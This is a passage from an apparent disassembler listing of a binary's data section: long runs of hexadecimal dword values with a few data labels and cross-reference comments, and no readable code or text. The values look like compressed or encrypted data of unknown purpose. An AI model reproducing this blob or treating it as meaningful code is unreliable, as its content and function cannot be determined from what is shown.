2CC91D10h dd 0E8C0E47Ch, 5C7EEFAAh, 0EC0A5057h, 38A82ADEh, 4BAF01F8h dd 726BD9E0h, 6E82C95h, 0F61BBB21h, 81270520h, 40D24912h dd 33744584h, 5528733Bh, 60EE180Ch, 8B207E89h, 1CD4B8F3h dd 585204h, 0F819EE2Ch, 0F00E470h, 6C48F2A7h, 462BFE9h dd 5B963969h, 0EE7C8140h, 4632F061h, 1DA0FD00h, 0CDA51875h dd 340D223h, 13B2ADF9h, 0A63C5178h, 8BC29C2h, 9980A391h dd 42780F70h, 988A9A3Eh, 3408ACFCh, 4E720C57h, 983028B7h dd 1E369D00h, 118A6C85h, 319A18E7h, 5399169Bh, 2D006370h dd 7ED72EDBh, 0D12B427Fh, 0B7010469h, 757A9603h, 19BC1Bh dd 0CF45F4C2h, 0BF15C6h, 246C0CECh, 0EC16ACEh, 81901230h dd 98F3DF5Fh, 1B78C4h, 0FA39C24Ah, 6E15CF94h, 4B882E00h dd 0AD7BE56h, 0FC1400CDh, 9C16D13Fh, 62304E0Eh, 42CA8941h dd 48A61C36h, 95168080h, 4EA8F1D3h, 0AA7AF8C5h, 0D000C824h dd 0A6543B79h, 0AED8041Bh, 3C7D7CAh, 0E6C3027Ch, 294909C9h dd 0E20554FCh, 42280060h, 0C21DBE4Fh, 78CD933Ah, 11D68F30h dd 1A9989h, 0B31E639Bh, 0A920DAF3h, 1DB730A8h, 2FA5B1C5h dd 792C4807h, 9CE9AD80h, 7D974CFCh, 7830FF30h, 0DAF2AF4Bh dd 0E0988A55h, 749D216h, 40C1181Ch, 42D151h, 812CCB39h dd 9BC75448h, 7302FD00h, 37A74DF9h, 0D82954F3h, 874500BFh dd 36E8E6EFh, 0AF079622h, 62EE826Bh, 28A369CDh, 45F06C04h dd 0EF0B7812h, 0FD757C07h, 2014F0F2h, 0C5DB9CCBh, 0DE559A0Fh dd 83D0CA7h, 8221C0AAh, 60A0DBA3h, 0EC09CD03h, 0AFD8242Fh dd 0EE0065C5h, 6E27A27Bh, 9FAB4C8Dh, 15520307h, 0E9480091h dd 5B00F1F9h, 0EE89B258h, 30EDF8F3h, 39A11886h, 807D54ADh dd 0FD967705h, 880DFC9Ah, 0CBC821DDh, 7A810054h, 0F3C2A91Fh dd 59C2803Fh, 811A2064h, 7154BA24h, 869BCFD4h, 0FA7320h dd 9C57B45Ah, 24ADB7F7h, 5CA71006h, 7219565h, 0B6724390h dd 61E7100Eh, 46499A83h, 67CC13ECh, 1F40D700h, 7F1CDCh dd 0B93D64DEh, 96134FF0h, 188BEC48h, 0E9114AEh, 91AF0058h dd 0BC86978Ch, 85748713h, 81C7624h, 0A40C8D00h, 0F22494h dd 0B5ABD869h, 417A529Fh, 50827131h, 0FD0C9A9Eh, 8C10AF7Ch dd 98C483CFh, 0F1880007h dd 16521FA4h, 3D679Dh, 1596B0F6h, 0CB0021C1h, 396A417Bh dd 0F6D0B2A7h, 2078490Bh, 0AC66C840h, 54C41FA4h, 9A1F486Fh dd 0EE211166h, 47570F79h, 0B2E0A20Fh, 52AC42F9h, 0F8349528h dd 0CE74C749h, 84D8743Fh, 0D93021A1h, 97EA7454h, 0FCFC5C29h dd 579E2F40h, 0AFFA01BEh, 0DF55C833h, 3078128Dh, 45125716h dd 20386F15h, 571B000Eh, 46DF3998h, 0C892E8A3h, 2179D809h dd 0ACB8040Bh, 36C4AC1h, 28BCC088h, 22431807h, 4816F042h dd 0B19484h, 0BF20C2F5h, 0AF67C560h, 0BC440FDh, 58C03F0Fh dd 0D54A4454h, 79DF619h, 0ACE3B845h, 69E4E0C8h, 6AE63A7Dh dd 83B2AF03h, 3C1F42CBh, 0A009FCA8h, 0ECA2B059h, 0A49162FDh dd 518EECD8h, 1F239B00h, 0C85606D9h, 28D3752Ah, 9E8B7AFh dd 13F53DABh, 0F32614A0h, 704879A9h, 0AFAD1024h, 62A532C3h dd 0C855EF9h, 0D389C03Bh, 0DCABAFF9h, 54081803h, 0E2A8590Ah dd 0B41C6024h, 895628D0h, 9897E0F4h, 21AE096Fh, 2897EE88h dd 0B080E611h, 0A6C2B927h, 0E4AC2300h, 0BF8C684Eh, 5887C63h dd 6B399FFEh, 0D4C80D1h, 0AB0E902Dh, 80F7EBC9h, 17C34833h dd 644512B1h, 84700ACCh, 0C97805D4h, 52ADC015h, 0E5987ED2h dd 3BE34A00h, 6483BB86h, 89826365h, 9FB8E1F1h, 2A019CBDh dd 0E7D228B3h, 68D64283h, 1A1A8A0h, 66F2A68Fh, 20403A0Fh dd 0D754A318h, 4A1F0C98h, 0B5809F70h, 0D2E65BCEh, 0B8BA0EFDh dd 6F00E1EDh, 636EF255h, 145D7800h, 6A203399h, 0CC0A002Ah dd 269B9D72h, 29008A17h, 0E7C9D412h, 1E942C90h, 0D7D54Bh dd 37872D2Ah, 0CC008AB8h, 8861710h, 536206h, 25981369h dd 0D2E0EB5Ah, 26E9D700h, 7D335D99h, 0EC680EBCh, 0BD80BB6Dh dd 32D7D1B2h, 419EEA00h, 0DCC9175Ch, 394D0055h, 74151226h dd 0BA792ABDh, 463FCDF6h, 766F000Eh, 0CB29968Fh, 0E03F001Ah dd 3314E23Eh, 0FB784585h, 0C3FE7F03h, 0C16122h, 0EE02B2C1h dd 62DCCB2Eh, 0E2A3E10Eh, 21B18C5Eh, 0E02400F5h, 2607465Bh dd 591FC704h, 0FAC6BA2Dh, 30C8E7DCh, 0C9B02EB4h, 56000182h dd 20A73107h, 7DD2D9C2h, 0C9F1CF27h, 3500FDAEh, 0C246E1FFh dd 47C6601Dh, 20D0590Ch, 84C0FB27h, 657FCDh, 7F118D7Dh dd 1E131A88h, 57D4DB0Eh, 0A1A0054Eh, 0E0286000h, 42CCC823h dd 121FC02Dh, 13A8BE0h, 0CFC5731Bh, 0EBAF97FFh, 0EBE77000h dd 0BDA3D972h, 0B8A800C6h, 0E952485Ah, 4E002813h, 44A9AE33h dd 0E23F12Fh, 55A36BA2h, 0C1FC82C0h, 3C1868CCh, 6EA86F2Eh dd 925600F9h, 915577B6h, 0D00124DDh, 0C6C9B53Ah, 7080C0DAh dd 0A163F7D2h, 0AA3A46FBh, 8266F8A4h, 3D219C08h, 64805C4Eh dd 247A6F9Ah, 3E3E06BDh, 0E28C8405h, 2481C1FAh, 70C5BF8h dd 0CA259B2Eh, 2431BE12h, 0AB03FA40h, 8E8999A0h, 908F9A02h dd 0A1DFCF71h, 664C5280h, 0C8ABB880h, 0D10C3368h, 20C073E8h dd 9344C255h, 102364FBh, 2052C02Fh, 77008E5Dh, 16638C59h dd 0A189F9E5h, 7448E1F8h, 90A60836h, 69C47246h, 0B04E4947h dd 3D660AC6h, 5B7DF31Ch, 0CD89B1C0h, 0D20832h, 3C4FB7CCh dd 0AEC44A9Eh, 0F8BEC4A1h, 0FF2446DCh, 2174A8C1h, 5A80FA41h dd 0A67DF19h, 78BF0018h, 6B637317h, 0CE09B0BEh, 48D94D0h dd 6BC1B486h, 42C62D04h, 69A483B8h, 0F1EE9027h, 0C9C360B2h dd 0E51316CDh, 72A66E03h, 30C53C0Bh, 0D721DF22h, 0B7E8DA64h dd 0AA861A03h, 3AE1135Eh, 67827218h, 8A8715B6h, 416A79C0h dd 0C6CD5800h, 266FBBF0h, 0FD5A12C3h, 0FCF05847h, 182A1C27h dd 8D04E0CFh, 1A925DEDh, 0DD49A880h, 7F0400D2h, 0AFEAC1F8h dd 110F6B03h, 0D80FD9F6h, 468E90h, 5064598Ah, 0AE25E4FBh dd 0C07349h, 0A695FE55h, 1731E08Dh, 1277D7Fh, 0E8B5A558h dd 0B4B98C4Dh, 253141h, 2B9033BEh, 0B6560474h, 0C728F000h dd 0B5776C5Ch, 2808694Fh, 62120404h, 0F44CC0FEh, 8049B29h dd 0DA07D1ECh, 0E250034Fh, 0F00B88h, 0AC02D941h, 9D434B16h dd 1FC09948h, 3C071CB4h, 0A7778EE6h, 4D616C50h, 0F7DD3C42h dd 0CC4B12F7h, 0C91C0962h, 0C2214C10h, 0B871C891h, 0C50FE18h dd 550A8CE3h, 0B0F9E6C1h, 0A8260E1Ch, 87CCFFDCh, 857082h dd 5AF38016h, 717A3C0Dh, 2D898C11h, 9587A600h, 5874C240h dd 0CDA0190Ch, 1DCB488Eh, 0EE636991h, 0A329057Ah, 0D334804Ch dd 2013415h, 8097AE3Ch, 37E00DEFh, 33900058h, 961E06D1h dd 0C24889BFh, 7E910159h, 0B97077E1h, 0C17760h, 8A9B7D03h dd 656B84BDh, 0EF390B00h, 13F6AB1Bh, 0C7430041h, 0DD4630F5h dd 91003EB3h, 0E0A287BEh, 5E74DEh, 846DEB54h, 3CD3082Ch dd 0DD234800h, 0F65516E8h, 5F871E47h, 0C2EB87B9h, 0BD2ADC38h dd 0D07C8C00h, 3963F507h, 82A8025Ah, 56E0D820h, 0D04DC4A0h dd 78005928h, 9D087666h, 0E646392Dh, 1D370114h, 0A536AAAEh dd 949C40CAh, 9E00E610h, 2DFC05ADh, 529F7Eh, 495C19CCh dd 3FAEBCDFh, 6BB9EA00h, 6FE502CBh, 4D530003h, 0BEDD34ADh dd 2E00F22Ch, 2F9D9FB8h, 0DAA407h, 0DEE6B2D4h, 496608DFh dd 341CB379h, 0A8589DB7h, 1402D820h, 0E0091165h, 0B1181909h dd 95995780h, 5D036850h, 529C02D2h, 8D9AE961h, 60BBB5D4h dd 0BD9E300Ch, 87006508h, 46771E6Eh, 0B54C33h, 0D43EFFD9h dd 0FD412779h, 0CCBB8F01h, 48CA606Fh, 5CD298C4h, 0B5801CA6h dd 0BC14B0B9h, 61EB0C0Fh, 9C2E416Ch, 0C06F8D59h, 0B0923041h dd 48E8F448h, 961B81F4h, 38601A33h, 6FA300ADh, 0C606371h dd 0E40FF3EDh, 1F2036D3h, 96D7B300h, 0E6423C5Dh, 0A6D0A8ADh dd 50E56079h, 12A56C3Dh, 7E559000h, 0CF74FB54h, 6DFA00E3h dd 16CBFEE0h, 0B2076AD5h, 535715D8h, 5F1C9270h, 6D9B13FBh dd 6136056Fh, 0EAC8071h, 0D4018785h, 55BED9A4h, 1983E9E5h dd 0A5F77BBDh, 0EFCC5EE0h, 3B57844h, 0D27DA1D0h, 0E78B5941h dd 0F54607D8h, 9C834C28h, 0B8C0D8F1h, 2A5E4A2Ch, 0FCA6CB00h dd 827E56h, 0C108FEA5h, 0BD8CED34h, 6C499118h, 0C66BE4C6h dd 542CA608h, 0BBEF5B03h, 0A0FCB85Fh, 915DE3h, 9C34B717h dd 0B616F79Bh, 0E92B8000h, 8A601C7Bh, 0C6553F2Fh, 1B6CC580h dd 129279B8h, 0EE442700h, 146E86BEh, 88AC0058h, 26DDD22Ah dd 7301381Ah, 2D4B49E4h, 0F4ECE851h, 9D440765h, 5012BC18h dd 0BFEB08D0h, 4B07F000h, 0AB80726Ch, 0EC170089h, 5B7AA1DAh dd 0BE3F3554h, 90428053h, 71089106h, 1C7F00FFh, 0AF2CDA07h dd 0A900651Bh, 0A27E4BC9h, 0A07073h, 0CA8456D6h, 4DC11D41h dd 375AFA00h, 2CE2AA7Ah, 950100B7h, 630C6DEFh, 76179206h dd 7B003D7Bh, 34E9A512h, 0DE9C00AFh, 0AAD3E8B1h, 0FCF9FC8Ch dd 7800887Dh, 7C03E2CEh, 0F160B8h, 0CB99D533h, 1936CF56h dd 0C4294A26h, 0DFA2F900h, 77BB95h, 9F1442Ch, 76F27A0Dh dd 5E851B1Fh, 0C249E380h, 1E8046A0h, 804FE7A5h, 6D27B4E8h dd 24F6BE9Dh, 0A10FDC0Fh, 1230C026h, 0B6F8C0h, 6240DBA5h dd 0A3CA601h, 89A82200h, 0DAF29932h, 8A7400ECh, 1F42D84Ch dd 63FC0AE8h, 754F8C00h, 0FBBD0731h, 5C0538C1h, 0F3B9EC00h dd 6CC3C84Ch, 0EF5DA800h, 0B12A6E06h, 0E37903Dh, 825A97CBh dd 647A1CE0h, 650066C3h, 38F3DC7Bh, 0DA33C8h, 9EFA752Ah dd 5230593Bh, 6DFDDD03h, 0E849B531h, 7DCDBA8h, 46928B42h dd 4FA5F34Ah, 29E80800h, 4948B897h, 98D000C8h, 0AC763094h dd 0E20121F6h, 0A6ED4E38h dword_52F848 dd 0CFEC24FEh, 0FC0A480Eh, 1D0CA40h, 0D84167Ah, 600CD6A3h dd 6D00B996h, 0B33CBD1Bh, 1D0C243h, 68CC07F3h, 808FA651h dd 5BAB4E18h, 60A93D33h, 0AC2941F4h, 581FFBEDh, 0E6C01D77h dd 44F18C49h, 83F23F57h, 91C9E298h, 0FB01A6E9h, 86011F75h dd 33CCCBDFh, 324B0080h, 669AF5A0h, 99009B3Fh, 2E63885h dd 5A4263h, 79DA6BACh, 40ECF961h, 5776CF01h, 7B9C4EEEh dd 4DCE8980h, 6C682D13h, 0D08DCF00h, 0A5699D54h, 3AE77BD5h dd 18F506Dh, 0E2607034h, 4283FC17h, 0DF54B300h, 0F0EC30EBh dd 26A20792h, 0E058AD96h, 8CF17BAEh, 61E69500h, 6B2223BBh dd 0FB211FB9h, 125C088h, 9FB1790Ch, 99E82603h, 0A009CF24h dd 0AE87AFh, 976C21FFh, 64707E10h, 416B1700h, 9DFB5C9Bh dd 0F11338AFh, 437BE09Dh, 43ED153h, 0CCF4ACD0h, 2C00BD71h dd 6426B680h, 1C191859h, 0C06C7CDEh, 0EC3EF94Eh, 54252498h dd 1DAD74E4h, 556700CBh, 0A4CE90DBh, 0C304A000h, 0BD808274h dd 6C20E0Bh, 520014A1h, 7C49BB6Dh, 1016E406h, 1ED0D8F9h dd 138DC4h, 3FCAB96Ch, 6679907Dh, 69FC2700h, 0EA688C09h dd 0DBEF0F0Ah, 24605016h, 0CE0F4EB5h, 0CD5C1D0Eh, 2874413Bh dd 976003F0h, 4AB11D69h, 0D37BC014h, 59CC5A25h, 189C5400h dd 199327ACh, 1D9700D8h, 0F790B213h, 0A6053774h, 68ADE95Fh dd 391485C0h, 0A7E1033Ch, 29C950C4h, 2C6F81D8h, 3DB23A2Eh dd 77A54200h, 1359B3h, 0D410BD4Ah, 27CF8D8Bh, 0FB00A675h dd 0C5EE9496h, 0AEA2848h, 59A96D4Dh, 7B8B809Eh, 9D230304h dd 0BC00D4EAh, 6414A57Fh, 0C058E8Dh, 0D9F0BB29h, 46007469h dd 1FC5CF65h, 0C18E5ADh, 0E3983DC8h, 2139BAA0h, 8EA5BB0Ah dd 405249B3h, 0DFA625FDh, 0AF173F06h, 0CB804BB9h, 57A4EF4Eh dd 0F0E82264h, 94E86600h, 1FD8C45Eh, 25B8DFh, 133C996h dd 99B7D2DDh, 7CE6E200h, 93AADA22h, 0DF3E3D08h, 0EA2CF700h dd 0F59F6EE4h, 0A5D4F800h, 0F4B181C6h, 11E00EDh, 3DCD508Ah dd 4D005826h, 296671E4h, 8EC464h, 0F0EF8039h, 3B09A1E9h dd 0E068C806h, 20544Ch, 42FA8D1Ah, 0B2F92CFh, 7BF52200h dd 9F015D2Bh, 5B9600D0h, 0DA56D3F0h, 301F82Eh, 0D7C48C83h dd 0BAE849A4h, 3EC57C78h, 0F3817B4Ah, 45266B33h, 70E85091h dd 0B4004DD1h, 25FB4853h, 0C367EFh, 0A945F9E9h, 3A242089h dd 0AE708500h, 39419728h, 291E0BE6h, 0E80AD63h, 5EB8364Dh dd 0CA7D4A00h, 0A5858827h, 8344172Eh, 0FC00FABCh, 0DA3D51FDh dd 58AE00FFh, 0C7E54D69h, 0A51381CCh, 0F40030B0h, 0D5551B2Ch dd 0CF7095h, 64DF4491h, 8F79D15Bh, 6E500900h, 7D942771h dd 0DC1E0136h, 0C3C4C053h, 0FC64F57Ch, 0A8003BF1h, 0BD5A851Fh dd 0E381C7h, 0D0F4B514h, 809DCCAFh, 8F128C39h, 9861A1h dd 89E46AC3h, 3C7D3B52h, 0ABD07209h, 2F644C00h, 2700F07Fh dd 0F5AFCA18h, 3D505E12h, 0B008F2Ah, 57E8553Eh, 66E214F6h dd 2119D004h, 0E8809CACh, 0F106B462h, 54460h, 0B5AE7D0Ah dd 2379681Eh, 0C3258900h, 7554ADF3h, 6E3400A9h, 50ACA78Ch dd 1500C602h, 8924B283h, 0A7DC9E0h, 0AFC3218Ah, 2A320318h dd 0A80BC28Dh, 115D35Eh, 0BC10337Eh, 0D8B17DF8h, 0D96F11C0h dd 144F9300h, 836D2A9Eh, 0F1B6129Ch, 0BAF1007Dh, 0BE638BAAh dd 0D1A23E00h, 15B4754Ch, 251A0050h, 45B7010h, 761E56F4h dd 0AC068AA9h, 0E89885Dh, 0AF9DCB2h, 0DA46C860h, 5748CEE4h dd 30BE307Bh, 1DB8359h, 0C9452F24h, 0D31EE306h, 0C3268980h dd 0DE68FE55h, 17CB18h, 7FB0BDA8h, 9153761Eh, 0A37C3Ah dd 22927A14h, 757DB3h, 194E33Ch, 0EEDC1617h, 9C77C00h dd 76883003h, 86C50374h, 1AD2A884h, 8DD3AB98h, 0E81DFC16h dd 0EE6B5F00h, 146455Dh, 0DF0AB1F5h, 0F0DC122Eh, 3E00C0FBh dd 196DDA3Ch, 9A3A8h, 0C3E97EB9h, 85377757h, 2CD58701h dd 558DC83Dh, 0B807D3DFh, 598CFAh, 0FBBCF9Bh, 1B5B2C93h dd 13C2EF00h, 0C3B92914h, 0F30200FAh, 68C67B7h, 8D00FB59h dd 3328D644h, 1FEBF6Fh, 264AC2CEh, 0E0892FE9h, 633F695Ch dd 0BD4D0022h, 6173F816h, 0B6100F88h, 15403DA0h, 0C5EAEEB0h dd 0C90BF200h, 0D278B31Ah, 0BA7DA5h, 3660D879h, 0EFFDA3D3h dd 0C008FF18h, 8871B729h, 77887497h, 3CF6886Fh, 0A0AB0D40h dd 8976D728h, 0B514410Bh, 0F519188h, 569CE300h, 6073FCCDh dd 826B8700h, 36D8894Ah, 0B78118AAh, 5E250837h, 2E6A5A01h dd 77E7670Eh, 0A052B9C0h, 558497h, 91150865h, 0D23733Bh dd 4CE6120Eh, 351980F2h, 7CB113h, 4F34E962h, 326BFEA9h dd 74189100h, 0B84DF896h, 1DB9FEC1h, 0C0DF87A8h, 1EA066F7h dd 0BC7D51BDh, 872FFC3Fh, 8F05A239h, 7E18F7E0h, 40120017h dd 33558AE3h, 0E500B3D2h, 35D15FA4h, 696EF2h, 0C949B084h dd 0B2A5C750h, 0C614FE01h, 5212B11h, 0D947CCh, 2E816B36h dd 0F75FD039h, 51C1D700h, 0BC0B6693h, 0A21600B1h, 0AD702CA6h dd 0AB038BF2h, 0B85E4D75h, 0D4A8A8A5h, 152700F3h, 0EF320396h dd 4D016D66h, 0D29CE641h, 0DC2077D9h, 279801AEh, 733C1C75h dd 6AE07E1Ah, 56303FB7h, 90601Dh, 4439BFADh, 0B4725F3Bh dd 69A9D800h, 0D78E9ACCh, 205D60FBh, 3D158580h, 7E126500h dd 0E1C74961h, 8DFF0042h, 6DB7BD73h, 9B0057ADh, 45F02717h dd 5AD3E6h, 0FD0C0511h, 7D330471h, 8C00BA74h, 0B10269FBh dd 0F857CD84h, 7C290EF6h, 5FC1AFDCh, 80674662h, 43703A99h dd 0C186B0h, 0F580B637h, 60AACFBCh, 0D02B5300h, 0EC9D8B41h dd 0B486012Eh, 622C7AB5h, 0A5F3E0FCh, 91330501h, 1927BFC2h dd 0EC092120h, 0FE850089h, 2A21A0BDh, 783EC754h, 35AE0913h dd 2B07807Ch, 0A518B9h, 0D84FA65Bh, 6B53B264h, 0A40F7F7Eh dd 0FD3EAF69h, 0D683187h, 15452E00h, 0A78F00CDh, 92A3C157h dd 8900CBDEh, 0D303E9B6h, 6FB7F7h, 17D791F5h, 0CD6BE5EAh dd 5DF30C19h, 4661C9C8h, 971CD4h, 5F600701h, 9B6E8D61h dd 906DF91Eh, 0DC2006C0h, 0A45C8Bh, 0A069E695h, 0AB3A1E82h dd 0F26EF700h, 5844D204h, 3263002Fh, 5EFA9719h, 62007802h dd 99A69F42h, 9CF414h, 0DB41EA87h, 0F1C29345h, 5900FF78h dd 2318CD40h, 85F56Eh, 44CCCF75h, 126497DCh, 9995900h dd 4C25813h, 7897A0Fh, 2FE5BF8Bh, 806F4477h, 2CAE6E5Bh dd 0F8B50D00h, 3054A3FDh, 0ABBC00E7h, 94E5648Ah, 0D8022418h dd 0EA84515h, 0B50340D4h, 1B7400E6h, 878462E3h, 17007711h dd 7044356h, 70053FA0h, 0A1D73DEFh, 44AE1400h, 770F6E70h dd 7FB5C25Ch, 0F238D9E8h, 514883DDh, 0C0E5D89Bh, 0FC8B335h dd 65521BFBh, 5B5E0B40h, 0CB0028DAh, 4EE339CDh, 1E22D16h dd 97D8EF2Ah, 300BF0B6h, 741EF105h, 0A1407753h, 683C15A0h dd 652F0088h, 321BEB96h, 0EE0C9CE0h, 304FA89Eh, 0E2A0548h dd 80D10BB7h, 0D4FDA100h, 496CEF00h, 86A66FE0h, 2DE84Ah dd 2981840Eh, 0C4AECC15h, 3BA43D00h, 71632E7Ah, 6C690F42h dd 79E15CA7h, 0DC64CB67h, 0B3F6FC92h, 2E0022F0h, 1B057CABh dd 0D941E0h, 0D698822Fh, 7DCF9313h, 0BE3FA400h, 89B527E6h dd 0D3D039C2h, 0FDF35D00h, 291123AFh, 0F43AA205h, 3E80675Fh dd 0EBD159h, 5168E428h, 7C675F9h, 8711C30h, 246A8Ah, 0BB7C0143h dd 5F291DB4h, 8099B33Dh, 0B7EAB618h, 7BA90821h, 0BF412C28h dd 8EE9006Eh dd 3AEC3622h, 336E7D00h, 0B284E527h db 0E2h byte_530055 db 5, 0C5h, 85h ; DATA XREF: ___:off_437A5Co ; ___:off_437A74o dd 9BC957h, 0B94244C0h, 0DA0011B7h, 0A9E14669h, 795BCCF1h dd 546F3D3Fh, 2822BA00h, 0EAE092Ch, 13A2E900h, 0CD0DE54Fh dd 951D02F5h, 87E0D4C6h, 91F4F640h, 3C25A11Fh, 0CC3166C0h dd 7B0566Ah, 0F2F92BBEh, 4FA36055h, 8AB8FEE2h, 92483200h dd 71CBD299h, 3A7B0F34h, 9B41543Fh, 0F49D4B59h, 0A3003E95h dd 0DEB0CDD6h, 0FEE8AB62h, 2E3977CEh, 18F2B6h, 6CF12F70h dd 0F3FE1FF6h, 86004975h, 0A161EC04h, 0B91E94h, 37162659h dd 0FBE82972h, 0CED0DF00h, 4D9B3528h, 0F95B50E0h, 0F9AE436h dd 175F30E8h, 136B4460h, 0B60784FCh, 5E10DC9Bh, 0B0A7D3C1h dd 603BD0h, 0B30BD64h, 3E09B1C1h, 956B0300h, 0AD7B86DEh dd 0D09600FCh, 2BE32AF5h, 4400BAB5h, 27A5CA39h, 0C6931Bh dd 0D0A3C229h, 0D17F870Dh, 0DE345914h, 0C2132689h, 1F2D8038h dd 0CF1CC571h, 5320E09h, 65201DDEh, 0A36FB40Ah, 0B55DA40Fh dd 224FC3BCh, 9827A10Eh, 1C4770h, 0DDD34DC9h, 42DF1BE0h dd 766F100h, 19C6AD97h, 20E705Ah, 31A91CB6h, 0C0D4DFh dd 0C800AAFEh, 7DEDB93Ch, 0B37FC5h, 30DFB71Ch, 0AD639D44h dd 64B1A200h, 4D6F2AD8h, 0B711131Dh, 0D04E00A5h, 0CA63F9ACh dd 0CB9F9E00h, 7FF5BBF6h, 7A112C6h, 0B3B8003Bh, 2AC4E196h dd 0AF30AE01h, 75FEBAFDh, 0C6B5C0h, 54EA5E8Ah, 52C39099h dd 3BEFBE00h, 0D8FF91EBh, 0C6920073h, 0F8B14B81h, 0C30047DAh dd 368FCC2Ch, 3CEFB53Eh, 538063C1h, 5C56E86Ch, 7B0090E6h dd 197C838Dh, 166058FCh, 4C1AF6h, 79EE6545h, 98006775h dd 5B7055B2h, 0F73EF2h, 5E9D5989h, 0E1107AA6h, 0C0CAF300h dd 0E4928AFCh, 38EBE812h, 5583622Eh, 0FA909E58h, 0F0A440A1h dd 3701E03Eh, 9CACCA7Bh, 59ECAF41h, 3F0200ECh, 9D6B8F57h dd 0B7009990h, 0A30F657Eh, 6020C77Dh, 38C54851h, 0A00191Bh dd 0BBB5FE69h, 7CCCDAD0h, 0F97E40h, 833DAFC7h, 691281ACh dd 4B562900h, 0F6E9243Eh, 0AF8C0070h, 0B7C26F71h, 6A3E73C8h dd 743ABCD5h, 0FA7AC00h, 95FE4739h, 0F31F0D6h, 0D7C9831Ch dd 28EA0E0h, 8B013A50h, 8A56BF4Fh, 0FCF03E52h, 0A9A51C9Fh dd 8024C066h, 69F35ADBh, 443B3377h, 0C7CB84F1h, 3881966Ah dd 5BF877EFh, 0ED9500D8h, 3CACA854h, 0D500B14Ah, 0C180DD3Eh dd 3AEE71h, 0F07AE477h, 73E9E078h, 8E7B2B7Ah, 5D4A4B00h dd 0E4C68D5Ah, 7E6E0A9h, 167DDC87h, 0AEFE2025h, 0BE00201Ch dd 1E4CD2DFh, 68FABBh, 726F2496h, 0A7DD4D8h, 0C5805501h dd 3E2D421Dh, 77F0CBC9h, 87D7002Bh, 258AFB0Fh, 4058684Bh dd 51DD3A12h, 50DFE8F4h, 0C8597D28h, 85A07000h, 4E1FC1E8h dd 0B03E03ECh, 0D1BD22FFh, 6800D5ABh, 35B8EDFh, 742544C6h dd 547001D3h, 22413DDCh, 99E0D727h, 200E0F7h, 96A236ABh dd 13F14Dh, 1405B71Eh, 0D21776D3h, 8890F900h, 0FEAFFCC3h dd 783100C7h, 84BED724h, 0EF0045F4h, 0CA04EC0Bh, 0F7BC969h dd 9406A0EEh, 3A4465A0h, 3B005550h, 5B7F3888h, 2A43C1h dd 27304717h, 0F7631940h, 3B725914h, 4578009Dh, 0C28B818Eh dd 5B9602DEh, 16AEF97Dh, 0A309607Fh, 585A0EEFh, 0E0E7973h dd 59007AAEh, 24B76A89h, 809A833Dh, 96802DBBh, 1EA990Ah dd 0EC505D8Dh, 20DEA298h, 8A008CCBh, 647BE2Dh, 2ABC48C6h dd 0DD410Ch, 8DCE7401h, 9249DBAAh, 4B58FEE0h, 9630030Dh dd 0C34FBA3Fh, 7A00062h, 0B608AAA3h, 7AFE128Dh, 0FD0709Fh dd 0C816A442h, 9328B500h, 2B3BBAEBh, 0D810807Ch, 566CBB87h dd 64500B4h, 0BFC10513h, 150BEC3Ah, 0DC49E55Dh, 84FF0689h dd 0F0016867h, 0AE202B55h, 0A8BF514Ch, 40BDEA81h, 80089F76h dd 0A7F4AB40h, 0B56E73h, 923F6FF0h, 0CBD1035Ch, 0D9B88D7Ah dd 427C8A1Eh, 0B6D64AC0h, 49ADA629h, 0C0FF81Ah, 62E0AE7Eh dd 92585D99h, 0B6246900h, 0BFC0B38Ch, 0AE6B5845h, 82021C00h dd 21F2E759h, 0A047F500h, 0DA12011Dh, 83B11F8Ch, 9A814076h dd 25B0D66Ah, 0E9C83800h, 0B4F841E3h, 5080E547h, 37E1730Dh dd 10C0C5E4h, 4B3FB78h, 417560D9h, 0BE51B83Eh, 3296C207h dd 0D1D7B5C5h, 0A284FB10h, 0F22E0F2Bh, 88C922BFh, 8D092280h dd 3A2C15B4h, 8A00007Fh, 0A784AB6Fh, 76080080h, 11AD4364h dd 0EB0EBBBDh, 2F8B7BCFh, 7F5DC023h, 3E4EA49h, 31782CC7h dd 0F7F84EDDh, 0C0B89CE8h, 0EC030A00h, 0AAF4BACEh, 35A20ED0h dd 6200DA8Ch, 278FCA78h, 0A1DB9C00h, 0B3D65F5Eh, 86D50098h dd 0C3E3DE2Ch, 9700D9B9h, 0A5E2E560h, 0E0B4521Ah, 45473D1Ch dd 82555D03h, 0FCA0C023h, 0D20E3661h, 0A083A3B2h, 0B13444BBh dd 841F1C3Bh, 0A6410709h, 0E54A006Dh, 6A0C62FFh, 865B2FAh dd 4EF80040h, 93D0D5B5h, 0DA078813h, 0F15BB0D9h, 36E517A0h dd 1FE8056Bh, 80F92EB1h, 0B9BA0D30h, 0A4DAAF00h, 6B16E047h dd 0D9FF007Dh, 0CA2D6FD5h, 0BE00F03Dh, 6A0858B7h, 0FE91ADh dd 42D4F409h, 0DD57642Ah, 4316DE00h, 3DC3D005h, 0B7400C9h dd 984D3297h, 1C00B571h, 0FB8AB2CBh, 7234960Dh, 45482C7Ah dd 64F000BEh, 0EF983B74h, 12D4300Fh, 1D9521C0h, 3EF7C4BEh dd 0F38C1671h, 0A4118FB9h, 0CD7C71Ch, 1DD3017Dh, 53E422F9h dd 2309C18Eh, 0F494F700h, 0BB183135h, 2C3890EAh, 0AD581870h dd 0DD0D2817h, 6D27DC00h, 72665328h, 16700077h, 73BC4163h dd 31012508h, 4655E9EBh, 43E08BE8h, 69400D5h, 0ED4E71B3h dd 44007A9Ah, 0EC2B0B09h, 79B81E1h, 943DCBC1h, 796D810Ah dd 0FFEAD4F5h, 0B200CCB8h, 48056FBBh, 973032h, 1B9490D6h dd 0F60C8820h, 407E8300h, 740A379Ah, 592603EDh, 0B64F5BB2h dd 198AF0D7h, 0EF03B36Fh, 55CCF593h, 436B887Dh, 292A0011h dd 156689D5h, 2563E221h, 0F8867F88h, 8D4B1Bh, 18CFB84Eh dd 9B01E539h, 0A10002E2h, 7D541080h, 0B9BDC8h, 97A2E28Bh dd 0CBB809FCh, 5751900h, 0A313CCD8h, 60AA7CA9h, 46A230EDh dd 0EA1E6779h, 3F006AD3h, 0C37E8DDAh, 682A070Dh, 0C06C94B6h dd 85C74E51h, 3DC11400h, 3B81CB49h, 0E7B6487Ch, 67034D00h dd 65CCE42Eh, 5FE23300h, 0E6684A74h, 40593838h, 9F002BBDh dd 2D8BE449h, 0B30E7A15h, 20980B36h, 0A56731D6h, 0B66A3FCDh dd 0F8182707h, 7AD54079h, 90390DFh, 0E4822F5Ah, 2070E8CBh dd 17501D3h, 317152ECh, 0F254E41Ah, 38DD6C00h, 5E6E156Fh dd 1D4A0040h, 